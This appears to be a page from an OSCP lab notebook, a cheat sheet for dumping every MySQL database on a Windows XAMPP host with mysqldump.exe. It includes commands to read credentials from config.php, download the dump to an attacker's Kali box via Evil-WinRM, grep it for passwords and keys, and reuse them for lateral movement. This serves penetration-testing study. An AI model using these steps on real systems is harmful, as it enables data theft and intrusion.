Pearson's OSCP Notebook

mysqldump - Windows XAMPP Database Exfiltration

Properties2
tagsmysqldump, mysqldump.exe, mysql, xampp, database, evil-winrm, credential-discovery, windows, oscp
aliasesmysqldump Windows, XAMPP mysqldump

2 min read

mysqldump — Windows / XAMPP Database Exfiltration

Ctrl+F: mysqldump.exe · xampp · --all-databases · db.sql · evil-winrm

mysqldump dumps MySQL/MariaDB schema + data to a .sql file. On Windows labs, the binary often lives under XAMPP — use it from Evil-WinRM or any shell when you have DB access (blank root, creds from config.php, SQLi, etc.).

→ Full MySQL reference: MySQL > 📌 10) mysqldump — backup / exfiltrate databases · Database

📌 Lab example — dump all databases (Evil-WinRM)

Context: Shell as apache.ERA on desktop; XAMPP MySQL with root (no password or known pass).

# Evil-WinRM / PowerShell on target
C:\xampp\mysql\bin\mysqldump.exe -u root --all-databases > db.sql
 
dir
# db.sql   ~2.9 MB
PartMeaning
C:\xampp\mysql\bin\mysqldump.exeDefault XAMPP MySQL dump binary
-u rootMySQL user (add -p or -p'password' if needed)
--all-databasesEvery DB on the instance
> db.sqlRedirect output to current directory

Verify: dir shows db.sql with non-zero size.

📌 Common paths (Windows)

C:\xampp\mysql\bin\mysqldump.exe
C:\xampp\mysql\bin\mysql.exe
C:\xampp\htdocs\config.php          ← creds before dump
C:\xampp\mysql\data\                  ← raw DB files (harder to parse)
where mysqldump.exe 2>nul
dir C:\xampp\mysql\bin\
type C:\xampp\htdocs\config.php

→ XAMPP - CVE-2020-11107 Privilege Escalation

📌 Variations

REM Single database
C:\xampp\mysql\bin\mysqldump.exe -u root -p database_name > db.sql
 
REM All DBs — password on command line
C:\xampp\mysql\bin\mysqldump.exe -u root -pPassword123 --all-databases > all.sql
 
REM From Kali (remote)
mysqldump -h TARGET -u root -p --all-databases > all.sql

📌 Exfiltrate & hunt creds

# evil-winrm — download dump to Kali
download db.sql /tmp/db.sql
# On Kali — grep offline
grep -Ei "password|passwd|secret|token|apikey|INSERT INTO|admin|user|login|hash" db.sql
grep -Ei "password|passwd|secret" db.sql | head -50

→ File Transfer · Credential Discovery · Hashcat · John

📌 OSCP workflow

Shell / evil-winrm on Windows box with XAMPP
  → type C:\xampp\htdocs\config.php (MySQL user/pass)
  → mysqldump.exe -u root [--all-databases] > db.sql
  → download to Kali
  → grep for passwords / hashes / API keys
  → reuse creds → lateral / privesc

📌 Quick cheat sheet

C:\xampp\mysql\bin\mysqldump.exe -u root --all-databases > db.sql
dir db.sql
# evil-winrm: download db.sql /tmp/db.sql
grep -Ei "password|secret|INSERT INTO" db.sql

Graph View

Backlinks